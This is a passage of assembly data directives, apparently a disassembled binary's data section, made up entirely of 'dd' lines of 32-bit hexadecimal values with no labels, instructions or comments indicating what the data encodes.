		dd 1B6E08F0h, 0C9111C83h, 12383687h, 88314CD8h,	0FF4E3011h
		dd 0D52976D0h, 17DD2500h, 6569F37Ch, 8260005h, 0DC95851Fh
		dd 0A4A090E9h, 0A57852D3h, 10897131h, 0A441427Dh, 6C08820Bh
		dd 11DFFC8Ch, 88CE7948h, 0C93E80F7h, 6BEA05DFh,	3072FB00h
		dd 71CE1FD3h, 55E4019Bh, 0DCC3327Eh, 793183FAh,	388913Dh
		dd 28F04DF8h, 0D7A038A4h, 12459993h, 30D38402h,	66113848h
		dd 85883CD8h, 38202E80h, 0EEDA59h, 89BE945Ch, 75D80278h
		dd 682FDD24h, 0A4A5D101h, 282592FEh, 0F05746FCh, 1880A079h
		dd 0D678078h, 0A06D3532h, 4DD70038h, 14247D5Eh,	1424E42Eh
		dd 50874411h, 4A2AA292h, 0C5106431h, 9A1E9268h,	7830122Fh
		dd 56B8E0h, 1ACA9D34h, 0FEEBAD70h, 0D2C34B05h, 0C422834Fh
		dd 0DF963069h, 26794B08h, 40F564FAh, 43DFCE3Dh,	1A600082h
		dd 941BC2D6h, 2A0939ACh, 0E2D499h, 0DAB3F370h, 3DC305B7h
		dd 0DEB9D25h, 7E087CCh,	68840958h, 95DB010Fh, 0A0411C05h
		dd 5434AC4Ah, 5A9E13F3h, 0C81EDFh, 71142D82h, 89019B17h
		dd 0D44163F2h, 54C11108h, 0FA99F841h, 2FA33300h, 8A590E1Bh
		dd 41B3E210h, 598034B8h, 24936B2h, 1503B106h, 7D591C79h
		dd 0F997C91h, 7CB073BDh, 9468F3C0h, 33282C38h, 79ECE031h
		dd 7D0A3091h, 9D58E080h, 0F4918432h, 42186471h,	8ADCD312h
		dd 55391004h, 0CECC0812h, 201A5080h, 6CFEE336h,	4780D1F5h
		dd 0CB4FF2Ch, 6E1C1A02h, 86744190h, 5167D017h, 0A706F03Ch
		dd 0DC389DB2h, 85D930C9h, 580D1781h, 0F3EFEC1Fh, 0B082F104h
		dd 8288B4CEh, 65DA5BC0h, 0E8185055h, 8B990A06h,	4F45876h
		dd 42DD1ADh, 0C08E7DACh, 0C8C08188h, 4CFBA83Fh,	7826D604h
		dd 405BC430h, 0C6A72541h, 18A37449h, 287A91D4h,	0F2019E96h
		dd 0B2A24C71h, 9441D82Bh, 0B833D0EEh, 0E03086E2h, 43091D0Bh
		dd 40FB923Ah, 42AEDD94h, 0EA3A69F0h, 0B4CB008Ch, 34D6C02h
		dd 6F542646h, 18D25144h, 35380849h, 8AC424D8h, 38413340h
		dd 0DF000C72h, 5CE5DE54h, 7DD8A91Ah, 9CB2ADh, 60C9736Ch
		dd 0FBEBAE1Ch, 0D890C850h, 0E6C55A89h, 243D67E8h, 6264849Dh
		dd 884318FCh, 2044CCBCh, 9234048Ch, 626A2A36h, 6CB92090h
		dd 7948F492h, 78E3019Ch, 4C67063Ah, 0CBFA8889h,	828F4082h
		dd 6AA0803Dh, 0D025B78Bh, 9A774800h, 0F03B75D1h, 33871268h
		dd 3C9004F4h, 8B440E73h, 4C90B14Ah, 5DA50070h, 0F78890E7h
		dd 0BF415880h, 393D0FD5h, 4C85F871h, 209C936Ah,	0C165DBD0h
		dd 2A58204Dh, 4F463474h, 97BF4502h, 25312FA5h, 425F2180h
		dd 0D9D248BFh, 44050712h, 0D999C00h, 7960FA0Eh,	90F14CA9h
		dd 3490F500h, 4A1ABED7h, 0F412F69h, 12AB080Ch, 24E85FA8h
		dd 72040878h, 0D8C0519Fh, 2580478Bh, 2BA9071Eh,	0F323FD12h
		dd 0D10059C5h, 0B49D5CD4h, 0E0BB7Ah, 9E35280Ah,	0C327AC41h
		dd 6553FE00h, 1C13F10Dh, 0F28A0085h, 524B254Dh,	0BE30157Dh
		dd 0AF83B08Ch, 1D7814D9h, 9E00D156h, 48EAFC96h,	35186561h
		dd 41401291h, 0C5B630DCh, 9F3C8758h, 0C2FD3833h, 3D359046h
		dd 489060h, 87C9ACC3h, 0E57C5DF2h, 0D825E1C0h, 14060CBAh
		dd 90230389h, 5ACB1479h, 0AC828C1Eh, 0D30094B9h, 5D3F06B4h
		dd 19064CE2h, 606F2D0Eh, 505E720Ch, 0FD4A5982h,	0B2E74180h
		dd 0DA753725h, 9857A498h, 88FF01FCh, 0AFF0F8FAh, 6DE8E8D2h
		dd 0AC9F1E81h, 0D0683041h, 1D38F52Fh, 0A6EE044Fh, 79017FFCh
		dd 0A682A905h, 0E80F8080h, 0D353C073h, 0C4B374Fh, 0E6D3D7Fh
		dd 0E23E3220h, 0AB6F940Bh, 6674E720h, 6BC1E762h, 41C6481h
		dd 0B8AA4620h, 5AC2A74h, 0A3512484h, 9D411158h,	6009BF97h
		dd 1158317Fh, 0BF206D10h, 86337103h, 0E8C5EBE9h, 0ADD2EA8h
		dd 0F9FD65D7h, 8908388Ch, 0B4020C84h, 95483A64h, 6DF78834h
		dd 2B7DA960h, 150803B9h, 0C14A6927h, 3FAD210Eh,	2F5520DCh
		dd 0AA60F2h, 0F9700E33h, 23F595D4h, 0CC16CC90h,	0FC04527Ah
		dd 851F6FFCh, 108FA60Ch, 4471B480h, 7C2459F5h, 958E0493h
		dd 630E988h, 10397008h,	125D6DDCh, 0C0234B20h, 0A026DB6Ah
		dd 67CC46h, 3593CA0h
		dd 0F2AE3013h, 1FA4B403h, 274A7Ah, 308AF31h, 89B52264h
		dd 9A53DB00h, 0C8A734B6h, 26489836h, 11B81C57h,	92518047h
		dd 8C622A35h, 0BE5544h,	82CA9269h, 2195DA4Ah, 7C801450h
		dd 3062D5Ch, 5604A47Dh,	48C032E9h, 53304160h, 2A331392h
		dd 1408BB2h, 0AD926BD4h, 0C053BE4Ah, 0E0F5BB68h, 8F9676h
		dd 121F9DBAh, 98BF4E5h,	0BF88920Eh, 38A90733h, 0ED0401B9h
		dd 3820E690h, 46048C20h, 17A5BABFh, 72202962h, 1204BF23h
		dd 8BF8D9C8h, 0C08FC888h, 0E7F18A0Ah, 3688FD64h, 54410B4h
		dd 0CAB2CCCh, 421C806Fh, 4938399Ah, 4F56005Ah, 8CA8D096h
		dd 9D2500FEh, 0C2AC2A28h, 189A7DD1h, 9D397F3Eh,	503F95D5h
		dd 9918AAB8h, 0EE68FBB0h, 744A5829h, 6702DF22h,	3DEF2523h
		dd 0B9C84888h, 42A40B1Dh, 84DA7Fh, 38206795h, 9C6CD854h
		dd 4A145868h, 12553800h, 361A9B27h, 3EE70E56h, 0E606487Ch
		dd 195CA0CDh, 8C84E82Ch, 0E4820700h, 27E35502h,	5EA70BB8h
		dd 8AB2C7Dh, 5AC2AC01h,	0A0B0F402h, 0C4410D26h,	0A0E53642h
		dd 25E230B0h, 0CCF600A2h, 8D87673Dh, 77705CE8h,	0A8CDCB09h
		dd 4694447Fh, 926A021Eh, 315A2A48h, 0C8C3137Bh,	1D52992h
		dd 1CEDE62h, 85FE7FF1h,	0A0D16980h, 9123282Bh, 0C061880Fh
		dd 246BDEF1h, 947F3059h, 40A9E821h, 0D35CC4B2h,	0B022358h
		dd 5C0BDFBBh, 5816540Bh, 0DFD31007h, 0E010A84Fh, 1A53B55h
		dd 82E67753h, 80E38499h, 12923F58h, 7FAF75Ch, 263D4106h
		dd 6DA6C05Fh, 7004AFFFh, 57C4FE2Fh, 990758C0h, 202100B1h
		dd 0D653FB83h, 7E00BBD1h, 0DEAE455h, 0C13AE389h, 13623F40h
		dd 0D058A665h, 85D9D100h, 246472CFh, 5EC84842h,	806DF421h
		dd 8A975644h, 88110D46h, 0A3008FD9h, 1D4F474Bh,	89003751h
		dd 6D1E491h, 0F11118h, 82695B78h, 92A73A67h, 7C7E28B8h
		dd 16F03880h, 4BCE6A3h,	85279D24h, 0C83CCBA8h, 900BC091h
		dd 8000BED5h, 0DFEECA5Fh, 50D3DB17h, 125485BDh,	8E2E2D6Ch
		dd 0C0F7883Ch, 140BB49Ch, 77B58A00h, 6A96D35Bh,	0F16026C9h
		dd 166F6090h, 64EE699Eh, 6156F007h, 12146676h, 4D827780h
		dd 0FD7D0996h, 4893892Eh, 0D9BB01E8h, 1E31950Fh, 88AC810Eh
		dd 1021E04Ch, 6FBCD838h, 1F70008Ch, 85E495D1h, 8A24FBDDh
		dd 0DB1CDC3Ch, 0A883DFC3h, 461EEC48h, 9007A57Dh, 0CE159514h
		dd 4330590h, 20C8563Eh,	0B6200C7h, 4FB41D8Ah, 7B006807h
		dd 23DFE753h, 0B6544Ah,	88F71091h, 767482C4h, 4ED81700h
		dd 0BF7C52D7h, 8BD14DFh, 0C1FE04B8h, 2CE1416Eh,	0A3630847h
		dd 7200053h, 0E5345CFAh, 3D009E54h, 0D7505EF4h,	77F298BDh
		dd 0F6003E1h, 5BEF0737h, 4622921h, 4952FA8h, 915E6322h
		dd 8562159h, 0F6882EB9h, 0C5EA8862h, 84365A88h,	0A94F789h
		dd 0D408281Ah, 294E9861h, 68EEA019h, 0B746A51Ch, 9E64C280h
		dd 1FF70BDEh, 0D2923606h, 735500EFh, 0A19FBDE3h, 3A59A600h
		dd 4776230Dh, 0C8EF00E8h, 0AC94D264h, 0FC07072Bh, 0F6B8E32Eh
		dd 0E73847BFh, 6B95606Eh, 7C224297h, 689A00C4h,	665B7D02h
		dd 0F38B750h, 2A0E7352h, 8FBAF3A7h, 0C324A0CCh,	0C0A998h
		dd 5B436EBDh, 0AFC168BEh, 10856D00h, 8FE4312Dh,	0DBA328C4h
		dd 0FA3C00A1h, 3E406116h, 6800703Ah, 0F7C60C43h, 0A8C9A919h
		dd 7F80D4E4h, 76D70D2h,	0B9640AA8h, 0BBC6D0BDh,	35004A5Ah
		dd 0D77A076h, 707A64Ch,	0D7AD23B2h, 0C78BA398h,	3EC233F8h
		dd 6CE16024h, 5CAB0581h, 16601314h, 3C7CA018h, 9E901EBh
		dd 0A86ED25Eh, 0F9E370D1h, 910B4800h, 2BC4DAA9h, 77D80001h
		dd 3B31D70Fh, 0AA00F315h, 5835EB04h, 2400C30h, 0D699457Eh
		dd 360B125h, 0ECF996F9h, 6D000926h, 8A4DADE1h, 0F415BEh
		dd 0C1771BD8h, 69D2A364h, 40A4AB00h, 6F66DBF7h,	0AF727Ah
		dd 0B1B33445h, 874CA0F4h, 9600D171h, 0CACFC8D5h, 392FA09h
		dd 7FF3C438h, 40CBF2A5h, 0CC288EC8h, 4170AE1Ch,	0F3D5B7C0h
		dd 6E561Eh, 607A3E05h, 0A93FA2D6h, 8CBCC128h, 27D7E900h
		dd 8676755Bh, 0D4120CBBh, 168C4E6Eh, 84622B00h,	2C59DE7Eh
		dd 6F4D00F4h, 0AE95171h, 0B00331Dh, 0F87F7897h,	1267E334h
		dd 4037FB9Ch, 59E20830h, 0E51D3A94h, 47803418h,	0ABF8D77Bh
		dd 2BD30082h, 66C96730h, 1014A49Bh, 59C6CFFh, 62F1F6C0h
		dd 24AAFC68h, 38CB44h, 0BC30D681h, 20907AF8h, 488797Ah
		dd 6DC30411h, 804BBFBEh, 0F02F75BAh, 81EB5907h,	0CF3096A4h
		dd 3EC2F38Ch, 0AE1DDB03h, 0C890CF48h, 0CE9BD602h, 6CD1D880h
		dd 4F48F92Ah, 4C2212C3h, 230C8C00h, 0C04EB560h,	0F28B91B0h
		dd 18390E61h, 175180B6h, 6AD6D2EDh, 0A89D00D9h,	5336896Ch
		dd 0A600C87Bh, 56F7B061h, 0DF18FD26h, 0AF1EC0D8h, 0AB8D57C5h
		dd 7E7B0400h, 7590655Eh, 0D95500A0h, 0E506ED9Ah, 0C407EB7Ah
		dd 28765751h, 221FE4A0h, 0B88A0010h, 68F8DA13h,	0FD00957Ah
		dd 0F297143Fh, 0FBD3F9h, 0CE5B5C47h, 211DE7A2h,	13A0B500h
		dd 0B619618Ah, 82150028h, 0A2D22A75h, 7D01DC1Ah, 0AEABE20Dh
		dd 60FAB409h, 75FCA4h, 1B61DF91h, 0E2C6782Ch, 0B0220302h
		dd 0C0C8998Ah, 52F644h,	0E1BF25F7h, 0CABB78ABh,	9564DE00h
		dd 0F6C7412Ah, 432D000Ah, 0B5101C8Eh, 6E00A6D8h, 4BDD6CB1h
		dd 0E5C3E54h, 0FC9E5FF0h, 637D2DA0h, 0EC09DB25h, 806816F7h
		dd 0B93B7B53h, 4B6102C6h, 0C1B440C9h, 836C5868h, 64385Ch
		dd 0CA37DDF2h, 346197Dh, 31AFD232h, 0DEF8A385h,	8100904Bh
		dd 6096F3A6h, 0E8CA9D44h, 1D7009Ch, 0E5F9AEFh, 3E16B972h
		dd 244086A5h, 0B6FB4FFCh, 9028C07Ch, 14B0CFABh,	20C7D531h
		dd 5822A9C5h, 0CC1C10h,	0D46A596Eh, 87B44Bh, 7438BF45h
		dd 35ED9DA2h, 8030123Dh, 774F5722h, 0BCB354h, 37BBFC44h
		dd 0F50FFAA3h, 92008B79h, 645AE09Ah, 42E4306h, 4E32275Fh
		dd 2FCC0E9h, 0A70069A4h, 0AC868903h, 0D87BC1h, 2765719Bh
		dd 63E0F344h, 0BF19E426h, 93A60B00h, 94CCF0h, 0F1AC72E8h
		dd 0E41A2992h, 0B3785E03h, 0A3C225h, 2C547E19h,	0ECD29399h
		dd 9D8A80Eh, 53EA003Eh,	0FE8A47C6h, 0D7AF0005h,	34C825E7h
		dd 754C1DB0h, 71060079h, 85DEFCFEh, 22864C44h, 0F0B83F00h
		dd 0B93C117h, 81CB9C1Dh, 16DEB0D8h, 0E72B00DDh,	4441BD7h
		dd 1200D6A3h, 65063B20h, 1AFF33h, 0DA0DEE35h, 92F61893h
		dd 3B005BF8h, 0C2B18919h, 0D46CEFh, 64465704h, 798D2F47h
		dd 712AA700h, 0F092E94Ah, 726C0193h, 62A3419Eh,	0BE062033h
		dd 12F29A00h, 0B38C5FB6h, 8D6A2697h, 4F1500D9h,	5EF85059h
		dd 289A7F01h, 0F163143Ch, 0C872CCh, 0BC99C58h, 96EA15BCh
		dd 5E1AC101h, 1F3456FFh, 0CB1C20h, 29C64E1Bh, 5752FFAh
		dd 0BE46001h, 0E9F33E6Ch, 5D02830h, 40FB497h, 0E4A40084h
		dd 0EE40C1A2h, 8E274E00h, 2F0283D0h, 9B110076h,	8B495EB0h
		dd 9FFB58F3h, 15D6C7FCh, 0C479D700h, 4C405EA2h,	88018434h
		dd 6C44C510h, 0EC4C352Dh, 8D00FDACh, 72DD4A29h,	0E6ECEA2Fh
		dd 2E0100A3h, 3AAB38FAh, 36261ADBh, 0D300D8BDh,	99702CD6h
		dd 88F20033h, 23D7A952h, 3A486627h, 0C9ED00C4h,	0E409D3FFh
		dd 5B58BFE5h, 0DC293B00h, 0F59F50B2h, 4B1E0005h, 0DEFD1C6Fh
		dd 0EE00BBBEh, 0C54D8DFCh, 6246E8h, 24FB6788h, 4F99DA5Eh
		dd 0B873Dh, 9AA8049Eh, 0FE3A079h, 9685FF26h, 203A2281h
		dd 57AF0E5h, 5A09C800h
		dd 0A94AE3ADh, 80B000B7h, 0A6DD3AB6h, 6CE2CCA3h, 18FACB1Ch
		dd 0AA6B837Dh, 80602021h, 224DFFh, 64AEBB5h, 0A87E3DD0h
		dd 0A9BA6301h, 33C83946h, 0D72CA440h, 0D45700C1h, 526C6ACCh
		dd 3A160FECh, 80520532h, 0B3E1D800h, 17915514h,	20F7DA9Ah
		dd 128338D0h, 48DB5E07h, 0E31E5A9h, 0A44050ECh,	691A877h
		dd 0F6A0E33Fh, 9605D48Ch, 4821926Eh, 60E72AC0h,	5F130018h
		dd 4BE9ED9Ch, 614C79BCh, 0EE850178h, 1FC371BBh,	670A9E60h
		dd 0DEDD1862h, 0C6893480h, 0F40E21B2h, 0E065EE4Eh, 0B493C953h
		dd 0C4F7566h, 4C9083F9h, 350332A0h, 8BDEABAFh, 0F03DF81Eh
		dd 90A80085h, 0B952ACCBh, 21002F19h, 67B12CD8h,	0FED1D2h
		dd 0E0C3D5E4h, 0DBC9836h, 78DFC13Bh, 450BF213h,	0D02C1803h
		dd 6594D058h, 0B05A3A87h, 12048589h, 0AB1B9000h, 7A613AC5h
		dd 0EF582576h, 77CE1C64h, 839944E2h, 4C107F58h,	73AB0000h
		dd 9EDF3011h, 41FF0E77h, 2DC057B3h, 61C0E842h, 63489090h
		dd 901A24A9h, 854E5A00h, 18DEA24h, 0FE0522B7h, 0CC82DCDBh
		dd 5009E313h, 80BE09BFh, 0DEA08EE4h, 7CA90029h,	42F9CF83h
		dd 2039AACh, 690A4E78h,	8066BA1Ch, 26D6B4B4h, 5043E8EEh
		dd 29D2B2h, 0C1860450h,	0EDA85ABFh, 0E9D04900h,	6191E102h
		dd 1070009Bh, 45F2C30Fh, 0C01C2DBBh, 3E814A04h,	740A3499h
		dd 9697EE8h, 0B0DA8614h, 6DCFE780h, 2705F1DBh, 0F0E5816h
		dd 680A60C0h, 0CA661C56h, 88680D1h, 3E2D617Eh, 5AD0D40Dh
		dd 71ECD093h, 3AA79049h, 8100584Ah, 0BEA68A46h,	2003E25h
		dd 43F6FAA7h, 0FE40743Fh, 2C080E63h, 2260F4F0h,	91E22347h
		dd 29B67A03h, 0D0EED95Fh, 72FB85h, 8E0DDD28h, 387EEA44h
		dd 0CC1D2200h, 6AB081ADh, 0E9CB284h, 0C3DA55BFh, 0CAF9D60h
		dd 0DC1CC9E6h, 61C6B6ADh, 728F6F9h, 0FEDBA6A8h,	6D97F0AFh
		dd 0D9708289h, 0D2884700h, 53A7FC1h, 0FEA23069h, 0CCDD07C0h
		dd 49B94B00h, 2876424h,	88D50558h, 0FEDC5C1Ch, 0E8FA2080h
		dd 0B490ADh, 265495A7h,	0D17CA229h, 7301500h, 0F486EDAh
		dd 1F8F065h, 0AB1DDE62h, 0C82CD28Fh, 38038A4Dh,	2DB620C3h
		dd 1BBEB1FBh, 24821981h, 0F02CC559h, 0C3EE0230h, 2F33C200h
		dd 5807CE9Ch, 0D54A0398h, 0BB9E5B0Ah, 414B1E8h,	0EE02C600h
		dd 3FABA98Eh, 9801001Ch, 32247E79h, 74050D03h, 5BEA6144h
		dd 840790C4h, 3740A3DFh, 499D28Ch, 0D9191481h, 0F9648009h
		dd 0FB07647Bh, 1E0A5497h, 0BA9B4AA3h, 43A8504Ch, 9E7E1F4Dh
		dd 689B3DC0h, 362B92h, 0F39772D9h, 9A3CE448h, 8322EA00h
		dd 0A693B381h, 57A90084h, 0BC5CB4CDh, 30066CDEh, 2CC63DAFh
		dd 0E720098h, 8A5B3EC7h, 0CF009A48h, 5E101F61h,	45CE4Bh
		dd 0A26B9DF8h, 96245BA9h, 6100D273h, 16126685h,	819A5Ch
		dd 39DE378h, 2CB95A0Ch,	0B8CF48h, 92C97C52h, 983A145Eh
		dd 30DD38C0h, 0F8F49001h, 0CCCD4319h, 5801C5AFh, 5C98BB7Bh
		dd 343017DEh, 98F3FC9Ch, 29551298h, 0D3D440B3h,	94F0EAD1h
		dd 0BFC0590Fh, 49D700B8h, 798A62h, 0FDFE8A3h, 7886B4B0h
		dd 9FFD0200h, 0B342B685h, 0F44000E9h, 986D3F74h, 905BCB8Dh
		dd 0F11E2FBCh, 1B99C018h, 25DF3C56h, 0A0F984CFh, 52A66EECh
		dd 0C44400D1h, 55314233h, 68008939h, 0B6D3A270h, 0E4273D2Ah
		dd 0CB37009Fh, 9213C43h, 7090C3E3h, 790BD639h, 76AE0107h
		dd 0A090DF96h, 0C03B45h, 0CC84B72Ah, 6CFCB86Eh,	8DC7EA00h
		dd 19F86FAh, 0EFDEC0Ah,	56C49088h, 0FC00F8B4h, 0E33B687h
		dd 4B3FF9D3h, 31AB89F3h, 51168015h, 0E40B37EAh,	1C3F2E0h
		dd 0C5A49C64h, 387FCBF9h, 36160094h, 896C5699h,	2F863C76h
		dd 0B5B4E280h, 3866C217h, 8099DB25h, 2762F188h,	30C338C0h
		dd 0FFD29E92h, 5A18D000h, 2DE884h, 0A78D0FF0h, 11FCAC7Fh
		dd 0B3D517Bh, 4A0A06ECh, 4849ADh, 57FA08A2h, 0E9DA16B9h
		dd 0B004778h, 4358B36Dh, 2C2AFBh, 0F0A17B15h, 0E4427DBDh
		dd 27C34001h, 0E10A07ABh, 0FC91D4h, 7CA77F43h, 0A9085817h
		dd 0B4A1B301h, 0E001A251h, 0F8C9D0h, 0C2F9FF8Dh, 0E4C3EF3h
		dd 4C090826h, 0DBB93503h, 0A06CD1D0h, 8000FC32h, 0EC8BDAA2h
		dd 1A905B6Fh, 3F8EC900h, 2B831789h, 68870061h, 0A7DBC55Ah
		dd 9100D681h, 1731D76Fh, 7CF26910h, 606E00A3h, 98ADF136h
		dd 1900F3EFh, 0CCD93512h, 39E32EF6h, 539FDBB2h,	12F1E3Eh
		dd 0DC373680h, 0EFEC3498h, 2129ECFBh, 0B82FF600h, 0FB18650Ah
		dd 0A34205DCh, 3169EE0h, 90C545A4h, 2CF007FDh, 55411CBEh
		dd 0C0B86126h, 0F4149545h, 94E600E8h, 0B889291h, 36C6002Fh
		dd 210AD6C8h, 0CC738EF7h, 0B4375100h, 0F2ECDDCh, 0F503019Ch
		dd 4FCED0DAh, 0B68C30FBh, 800DF439h, 36EBDADh, 24DDE51h
		dd 19F70B7Ah, 0D470CBFBh, 0B6A84E00h, 31FCD545h, 0F9E30044h
		dd 0A13C0351h, 2E0B30E5h, 0D25ABBh, 6801B348h, 0EC3B30B9h
		dd 3FC82BB8h, 36EBA3Eh,	7C53B05Bh, 0F919E011h, 5061C946h
		dd 622D6001h, 0F42C6447h, 0FF355500h, 45165CDAh, 9B940068h
		dd 2F11FD79h, 497C0256h, 25B1E31Fh, 0EC092697h,	0CC4F8A44h
		dd 80A73A0Eh, 0B815B3B7h, 0B987B64h, 3F3C892h, 0F2DAD01h
		dd 278FFC8Bh, 807ADB3Fh, 9413A26Eh, 0B84FF1B5h,	637B0E73h
		dd 10C0A5C0h, 33EB55FBh, 21FFD800h, 84D45BD9h, 0F15A3AC8h
		dd 68D4D1h, 4C1E10EBh, 9DD088D3h, 0D0274714h, 44077C94h
		dd 87CC8025h, 0AF6FB6C0h, 811109E5h, 2C0076C4h,	0CCBD607Ah
		dd 98D58E03h, 0DA2C5C78h, 1DB8787Fh, 851D8DABh,	0E81524h
		dd 227CCEDBh, 5690F934h, 7768700h, 706ACA96h, 0CDF4A037h
		dd 2DD700F1h, 8CB3053Fh, 0E40046E7h, 0A25D5397h, 0E430E3F7h
		dd 6AC9034Fh, 270E0AAEh, 0BAE088F9h, 82070318h,	0E425B0h
		dd 72F12110h, 28C0F2D1h, 0D8A85900h, 0EE4A6C5Ah, 30BA737Fh
		dd 0B2EC2FB7h, 0BC00AFC4h, 9D05093Bh, 8139ADh, 18682201h
		dd 50517DEEh, 60A71900h, 3F31B9EDh, 697801E9h, 99E7AF3Ah
		dd 55F870D8h, 0A37D2810h, 0EDF98707h, 71C71093h, 95004261h
		dd 0EFE34AE5h, 59838C4h, 2A6F97BCh, 913CA03Bh, 0C300F9ECh
		dd 0B0F442Eh, 937DBAAh,	0D2B3CE60h, 0B6D66820h,	94B0B72Fh
		dd 7D49DA07h, 0BA83A264h, 0CE20008h, 6788AC1Eh,	0E503279Dh
		dd 9C794524h, 656D989Eh, 988B007Ah, 0C56C8275h,	0D903B92Eh
		dd 0EE994C8Dh, 0EC00F5BBh, 0D827C848h, 5D50052Ch, 404018EAh
		dd 0CF4E54E8h, 0C008CBAh, 396FFDB9h, 7D56F6A8h,	0DD1007Fh
		dd 5A84946Ah, 0F22DE59Fh, 8A7D6030h, 5D8D00B3h,	17DF63BEh
		dd 0A498B5F5h, 2FF4711Dh, 0AB152140h, 76CD56Bh,	0EF84E5Dh
		dd 9551C117h, 3292E458h, 4CB5EF0Fh, 570D0080h, 7C7AEA2Fh
		dd 0A8FD12B1h, 8F900303h, 0E4F0C5DCh, 0F40E5C6Ch, 80ED8A47h
		dd 49A0ADE3h, 95F2B7h, 0A038872h, 7F156FDh, 50742104h
		dd 90C05829h, 11F8C5Eh,	1BA3ED30h, 24321694h, 11589188h
		dd 213F30h, 0D7D6AF53h,	0E8244615h, 0BDD303A4h,	252C371h
		dd 57E7E0D0h, 90980D7Ah, 61B93F00h, 4104C591h, 0C7425h
		dd 0A660FF1Eh, 0CE36E4C7h, 170F5890h, 2C2F8D53h, 0C310BCh
		dd 0D16182Bh, 61BD4E88h, 5011A705h, 0B8E0B204h,	0C8EE02BCh
		dd 792D43EDh, 0A92281F7h, 887CC77Eh, 97D07D01h,	6033FC73h
		dd 0DEEAFA64h, 0E04ED100h, 87502F17h, 59D400A4h, 5E2E9077h
		dd 5F00118Bh, 85574D27h
		dd 59D61CD9h, 27A182Bh,	45F0B93Bh, 684032E3h, 21074983h
		dd 0CCDE7BF2h, 0CE31FA20h, 0E3CD006Fh, 5DEC8965h, 7CEAA593h
		dd 51386E6h, 0CC812645h, 0C613AEAh, 0CBEB0440h,	94970F81h
		dd 29852D70h, 0B49C802Ah, 0A62E4277h, 8E007FF3h, 0EEBE9BD8h
		dd 808C5057h, 0E1300F6h, 76CFFD49h, 8F00D9FCh, 0B179F5A8h
		dd 7591561h, 41AF9F2h, 0C34E005Dh, 3EE2B9D8h, 93FFC238h
		dd 40DF2Eh, 0F2C1637Ch,	53820B5Bh, 8C20971Bh, 25757BABh
		dd 8EDA851Ch, 5BBFE5C0h, 181ECC6Bh, 0F42CC953h,	0EF001477h
		dd 0C54B207Bh, 0A14344h, 876F4F01h, 0E22330AEh,	71D64E00h
		dd 48EFB178h, 3813008Bh, 0C5AF1A34h, 82247652h,	448FEC11h
		dd 4C2F40B8h, 0E27DE60Ch, 7A0E00CEh, 1505A58Eh,	0F07A3018h
		dd 34372E00h, 13E8F2A6h, 99551261h, 82B00BCAh, 634C98C0h
		dd 8F780201h, 7ECDC425h, 0D49C80F2h, 2FF5CE76h,	9C808ADFh
		dd 9E6C2F20h, 10353320h, 3B8FAE8h, 3659B449h, 1A78F075h
		dd 588925Eh, 7C05DD9Dh,	3FAC90BDh, 0B1008CECh, 650C6892h
		dd 0D981E4h, 84F0DE54h,	0B6B45EDDh, 5B33E0C0h, 60B7BB88h
		dd 0E59710D3h, 30014B8h, 11C70A79h, 0F045F5h, 0C1ED2D17h
		dd 0B5DE47CAh, 0AF00FFE0h, 874CC838h, 121DD575h, 2BD872h
		dd 765EDA98h, 0B9031506h, 5DF1625Ah, 0A2098810h, 0C1340008h
		dd 1E5D373h, 6F046124h,	0A8484355h, 10F74A0h, 0E0B030FDh
		dd 0EAF874A0h, 90D823C3h, 271E0DD5h, 14E8D756h,	0E613AE00h
		dd 80E2793Dh, 3CEC2401h, 0FCF33EB8h, 25940003h,	205ED936h
		dd 0B60045D3h, 9B347264h, 1E051287h, 0D6498838h, 2A50046h
		dd 0B49E51C3h, 3AD38E00h, 0E1C535CFh, 301900DBh, 9BD7A979h
		dd 3E00F58Fh, 0B5B27193h, 4CA0B7Dh, 956DD6A6h, 2599C0E9h
		dd 3B006955h, 1FDE41F0h, 9065B510h, 64F00B0h, 4EFAAD91h
		dd 0B00A35Ah, 3F1B7558h, 0B8695DE3h, 0FBA70017h, 82B45C24h
		dd 6E13D79Fh, 5CC0EFBAh, 0C7F48Bh, 29BBCA08h, 524553ACh
		dd 0A601E000h, 551A5110h, 7D783EBEh, 0F44AFC00h, 6E745066h
		dd 6B17E4F0h, 0B9141F14h, 0FDFC007Ch, 10FA904Fh, 50D0030h
		dd 4655A2ADh, 2800E152h, 95E79396h, 7F926B1Ah, 1EEC0F90h
		dd 0D12094D8h, 0F91584A8h, 9E67CC00h, 5EAD72EDh, 0C18527DCh
		dd 1818DC0Fh, 100C337h,	3CBA3A07h, 1F4AB97Bh, 45B433F8h
		dd 0AC96794Bh, 9E7301C3h, 0B00C329Ah, 0A16521D8h, 4FFC899Bh
		dd 0C74B18DEh, 53E150D6h, 0BEFA9300h, 1F49BBE8h, 3B020265h
		dd 22FC6ADBh, 9D12C8F0h, 9C5E1A43h, 59E0A4AFh, 26C5E1C4h
		dd 0B4142A80h, 893A004Dh, 1DEDD233h, 0C0008BB0h, 11F985AFh
		dd 0EE871310h, 2F7A03B8h, 93E32042h, 19F3B6B0h,	7300AAB0h
		dd 4D40A43Dh, 26E8B42Fh, 80F8DBD4h, 88F45658h, 157C09DCh
		dd 3CDF73Ch, 0CCD11334h, 91980178h, 16D5BB03h, 0D3119E9Eh
		dd 0D4FCBA00h, 3146A66h, 28A8E660h, 0FEDB11F3h,	892BD0E7h
		dd 1E0FD2E1h, 20169B1h,	70A3386Eh, 0B4DF07D0h, 8E5A3414h
		dd 0C05C8792h, 9EAA2591h, 800301F6h, 360A406Fh,	99CB906Ah
		dd 9B392861h, 4CB21520h, 7EC36834h, 99C03FF4h, 4E00E06Ch
		dd 0C2370F70h, 533BC3h,	7745B87Fh, 0BE15A439h, 0BF8D81Ch
		dd 0FF40C2DDh, 6B99B359h, 9F0D00C4h, 0B61B3281h, 4900C32Dh
		dd 0D6CE4ECBh, 0EBB1387h, 8C80CD02h, 0BF7E37A0h, 0F75450F4h
		dd 570028E4h, 0C39F0398h, 668939BBh, 218008ABh,	988F3300h
		dd 137077F3h, 7D310199h, 0BE2B3BCDh, 0EA6DD466h, 5237BF00h
		dd 75FB746Ah, 0F2F8F114h, 390E000Ch, 0A8DF8A08h, 9CA8C3F1h
		dd 0FA001298h, 9523406Dh, 0CC1B39F4h, 8521D108h, 0B5FA2A01h
		dd 89072260h, 8DDCA4E1h, 37BC25D2h, 0C82384EBh,	98560EF5h
		dd 0BADB9F02h, 32102E19h, 1600988Eh, 0C0EF8A8Bh, 18CED0ADh
		dd 58970D48h, 0F530750Bh, 3921D830h, 0D4E05259h, 0B4A4BF01h
		dd 20726690h, 7A665E3Ch, 21D008h, 85B7AC1Eh, 91543C31h
